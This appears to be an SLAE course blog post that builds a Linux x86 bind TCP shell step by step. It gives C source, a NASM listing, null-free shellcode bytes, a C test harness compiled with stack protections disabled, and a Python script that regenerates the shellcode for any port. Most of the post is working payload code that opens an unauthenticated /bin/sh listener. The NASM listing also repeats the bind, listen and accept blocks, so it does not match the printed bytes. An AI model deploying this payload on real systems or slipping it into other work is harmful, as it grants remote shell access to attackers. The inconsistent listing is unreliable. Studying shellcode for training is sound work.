SLAE: Bind TCP Shell – Assignment 1

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1046
Assignment: Create a shell_bind_tcp shellcode that binds to a port and execute a shell on an incoming connection. The port number should be easy to configure.

Prestudy

The idea is to first compile a bind shell written in C and then use strace to see which calls it makes. Once that’s done we’ll recreate it in nasm.

#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>

void main() {
 // Create our socket
 int sock = socket(AF_INET, SOCK_STREAM, 0);
 // Preparing bind address
 struct sockaddr_in addr;
 // IPv4
 addr.sin_family = AF_INET;
 // Bind to 0.0.0.0
 addr.sin_addr.s_addr = INADDR_ANY;
 // Port number to listen on
 addr.sin_port = htons(4444);
 // Bind our socket and listen
 bind(sock,(struct sockaddr*)&addr, sizeof(addr));
 listen(sock, 1);
 // Accept incoming connection
 int client = accept(sock, (struct sockaddr*) NULL, NULL);
 // Duplicate the file descriptors
 // stdin  = 0, stdout = 1, stderr = 2
 int i;
 for (i=0; i <= 2; i++){
    dup2(client, i);
 }
 // Spawn the shell
 char *argv[] = {"/bin/sh", 0};
 execve("/bin/sh", argv, NULL);
}

Time to compile and run strace. Note that the e argument has been provided. This is to limit the otherwise quite expansive output.

$
$ gcc b-shell.c -o b
$
$ strace -e socket,bind,listen,accept,dup2,execve ./b
execve("./b", ["./b"], [/* 21 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1)                            = 0
accept(3, 0, NULL)                      = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
$
$

Pretty cool. This is what we now must re-create in nasm.

Nasm

In /usr/include/i386-linux-gnu/asm/unistd_32.h we dig up the needed syscalls.

egrep "execve|dup2|socketcall" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve              11
#define __NR_dup2                63
#define __NR_socketcall         102

Note that these numbers might need to be converted to hex

Let’s start by looking at the man page for socketcall.
Syntax: int socketcall(int call, unsigned long *args);

Now let’s find out which call we need to make. In /usr/include/linux/net.h we find the following:

#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */
#define SYS_GETSOCKNAME 6               /* sys_getsockname(2)           */
#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */
#define SYS_SOCKETPAIR  8               /* sys_socketpair(2)            */
#define SYS_SEND        9               /* sys_send(2)                  */
#define SYS_RECV        10              /* sys_recv(2)                  */
#define SYS_SENDTO      11              /* sys_sendto(2)                */
#define SYS_RECVFROM    12              /* sys_recvfrom(2)              */
#define SYS_SHUTDOWN    13              /* sys_shutdown(2)              */
#define SYS_SETSOCKOPT  14              /* sys_setsockopt(2)            */
#define SYS_GETSOCKOPT  15              /* sys_getsockopt(2)            */
#define SYS_SENDMSG     16              /* sys_sendmsg(2)               */
#define SYS_RECVMSG     17              /* sys_recvmsg(2)               */
#define SYS_ACCEPT4     18              /* sys_accept4(2)               */
#define SYS_RECVMMSG    19              /* sys_recvmmsg(2)              */
#define SYS_SENDMMSG    20              /* sys_sendmmsg(2)              */

Socket = 1
Bind = 2
Listen = 4
Accept = 5

Assembly

Let’s type this out.

; Filename: bind.nasm
; Author:  Alex
; SLAE-ID: SLAE-1046
; Website:  http://0xdeadcode.se
;
; Purpose: Assignment 1 - SLAE Exam
;          Bind Shell

global _start

section .text
_start:

        ; int socketcall(int call, unsigned long *args) from man page
        ; int sock = socket(AF_INET, SOCK_STREAM, 0)    from bind shell code
        ; SOCK_STREAM is represented by 1
        ; AF_INET is represented by 2
        ; push args on stack (in reverse order)
        ; put selected call (socket = 1) in ebx
        ; put syscall hex(nr) in eax

        xor eax, eax
        xor ebx, ebx
        xor edi, edi

        push eax                ; push 0 to stack
        inc eax
        push eax                ; push 1 to stack (SOCK_STREAM)
        inc eax
        push eax                ; push 2 to stack (AF_INET)

        mov al, 0x66            ; socketcall (102 dec is 0x66)
        mov bl, 0x1             ; socket()
        mov ecx, esp            ; pointer to the arguments we pushed
        int 0x80                ; syscall
        mov edx, eax            ; save return value

        ; socketcall for sys_bind
        ; bind(sock,(struct sockaddr*)&addr, sizeof(addr));
        ; edx contain pointer to sock

        xor eax, eax
        push eax                ; push zeroes for our bind address (0.0.0.0)
        push word 0x5c11        ; push port number 4444 in reverse
        push word 0x2           ; AF_INET = 2
        mov ecx, esp            ; store stack address
        push 0x10               ; length of the sockaddr struct (decimal 16)
        push ecx                ; saved stack pointer
        push edx                ; saved socket pointer
        mov al, 0x66            ; socketcall
        inc bl                  ; bl is 0x1, inc 1. sys_bind = 2
        mov ecx, esp            ; pointer to our args
        int 0x80                ; syscall

        ; socketcall for sys_listen
        ; listen(sock, 1)

        push byte 0x1           ; 1 client only
        push edx                ; pointer to socket
        mov al, 0x66            ; socketcall
        add bl, 0x2             ; bl is 0x2, add 0x2 to value. sys_listen = 4
        mov ecx, esp            ; pointer to our args
        int 0x80                ; syscall

        ; socketcall for sys_accept
        ; accept(sock, (struct sockaddr*) NULL, NULL);
        xor ecx, ecx            ; zero ecx to keep data in eax and ebx
        push ecx                ; NULL
        push ecx                ; NULL
        push edx                ; pointer to socket
        mov al, 0x66            ; socketcall
        inc ebx                 ; ebx is now 0x5, which is sys_accept
        mov ecx, esp            ; pointer to args
        int 0x80                ; syscall

        ; socketcall for sys_bind
        ; bind(sock,(struct sockaddr*)&addr, sizeof(addr));
        ; edx contain pointer to sock

        xor eax, eax
        push eax                ; push zeroes for our bind address (0.0.0.0)
        push word 0x5c11        ; push port number 4444 in reverse
        push word 0x2           ; AF_INET = 2
        mov ecx, esp            ; store stack address
        push 0x10               ; length of the sockaddr struct (decimal 16)
        push ecx                ; saved stack pointer
        push edx                ; saved socket pointer
        mov al, 0x66            ; socketcall
        inc bl                  ; bl is 0x1, inc 1. sys_bind = 2
        mov ecx, esp            ; pointer to our args
        int 0x80                ; syscall

        ; socketcall for sys_listen
        ; listen(sock, 1)

        push byte 0x1           ; 1 client only
        push edx                ; pointer to socket
        mov al, 0x66            ; socketcall
        add bl, 0x2             ; bl is 0x2, add 0x2 to value. sys_listen = 4
        mov ecx, esp            ; pointer to our args
        int 0x80                ; syscall

        ; socketcall for sys_accept
        ; accept(sock, (struct sockaddr*) NULL, NULL);
        xor ecx, ecx            ; zero ecx to keep data in eax and ebx
        push ecx                ; NULL
        push ecx                ; NULL
        push edx                ; pointer to socket
        mov al, 0x66            ; socketcall
        inc ebx                 ; ebx is now 0x5, which is sys_accept
        mov ecx, esp            ; pointer to args
        int 0x80                ; syscall

        ; point stdin, stdout and stderr to our new socket
        ; return value from last syscall is in eax, need update
        ; from linux man pages: int dup2(int oldfd, int newfd)
        ; eax should be 0x3f, ebx oldfd, ecx newfd
        ; currently eax hold our connected clients socket
        ; edx is the socket we created at start

        mov ecx, edx            ; move socket into ecx (newfd)
        mov ebx, eax            ; move client socket into ebx (oldfd)

        loc_loop:
        mov al, 0x3f            ; dup2 req. eax being 0x3f
        int 0x80                ; syscall
        dec ecx                 ; decrease ecx (socket newfd)
        jns loc_loop            ; jump if loop ain't done (ecx != 0)

        ; execve /bin/sh
        ; int execve(const char *filename, char *const argv[], char *const envp[]);
        ; execve("/bin/sh", argv, NULL);
        ; eax should contain 0xb

        push edi                ; register is 0x0 at this time. push null on stack
        mov al, 0xb             ; sys_execve (decimal 11)
        push 0x68732f2f         ; hs//
        push 0x6e69622f         ; nib/
        mov ebx, esp            ; save pointer to /bin/sh
        push edi                ; register is 0x0 at this time. push null on stack
        mov edx, esp            ; move pointer to null into edx
        push ebx                ; push pointer to /bin/sh onto stack
        mov ecx, esp            ; move stack pointer to ecx
        int 0x80                ; syscall

Quite a chunk of code, took me more time than I care to admit. There should not be any null bytes in the code, but better safe than sorry.

Shellcode

Sweet, everything looks good so far. Thanks to this great one-liner we can extract the shellcode and put it into a C program and execute it.

 objdump -D ./bind|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xff\x50\x40\x50\x40\x50\xb0\x66\xb3\x01\x89\xe1\xcd\x80"
"\x89\xc2\x31\xc0\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\xb0"
"\x66\xfe\xc3\x89\xe1\xcd\x80\x6a\x01\x52\xb0\x66\x80\xc3\x02\x89\xe1\xcd\x80"
"\x31\xc9\x51\x51\x52\xb0\x66\x43\x89\xe1\xcd\x80\x89\xd1\x89\xc3\xb0\x3f\xcd"
"\x80\x49\x79\xf9\x57\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x57\x89\xe2\x53\x89\xe1\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

Compile and execute!

 gcc -fno-stack-protector -z execstack -m32 shellcode.c -o bind_shell_4444

After execution we confirm that everything looks good by running netstat.

Awesome. Now let’s connect to the shell and give it some input.

Making stuff easy

Perfect. The last thing needed is an easy way to edit the port number in the shellcode. So, let’s write a python script to do this (everyone loves python right?).

#!/usr/bin/env python2
from sys import argv

port = int(argv[1])
hexport = hex(int(port)).replace('0x', '')

if len(hexport) < 4:
   hexport = '0' + hexport

hexport = '\\x%s\\x%s' % (hexport[0:2], hexport[2:])
print 'Port: %d' % port
print 'Hex: %s' % hexport

sc = \
"\\x31\\xc0\\x31\\xdb\\x31\\xff\\x50\\x40\\x50\\x40\\x50\\xb0\\x66\\xb3\\x01\\x89\\xe1\\xcd\\x80" + \
"\\x89\\xc2\\x31\\xc0\\x50\\x66\\x68" + hexport + "\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x52\\xb0" + \
"\\x66\\xfe\\xc3\\x89\\xe1\\xcd\\x80\\x6a\\x01\\x52\\xb0\\x66\\x80\\xc3\\x02\\x89\\xe1\\xcd\\x80" + \
"\\x31\\xc9\\x51\\x51\\x52\\xb0\\x66\\x43\\x89\\xe1\\xcd\\x80\\x89\\xd1\\x89\\xc3\\xb0\\x3f\\xcd" + \
"\\x80\\x49\\x79\\xf9\\x57\\xb0\\x0b\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3" + \
"\\x57\\x89\\xe2\\x53\\x89\\xe1\\xcd\\x80"
print sc
print len(sc)

And let’s try it out!

It’s worth noting that it is not the actual length of the shellcode that is printed, rather the string.

Github Links

Bind Shell in C
Nasm Bind Shell
Python Port Code
Shellcode.c

Great success!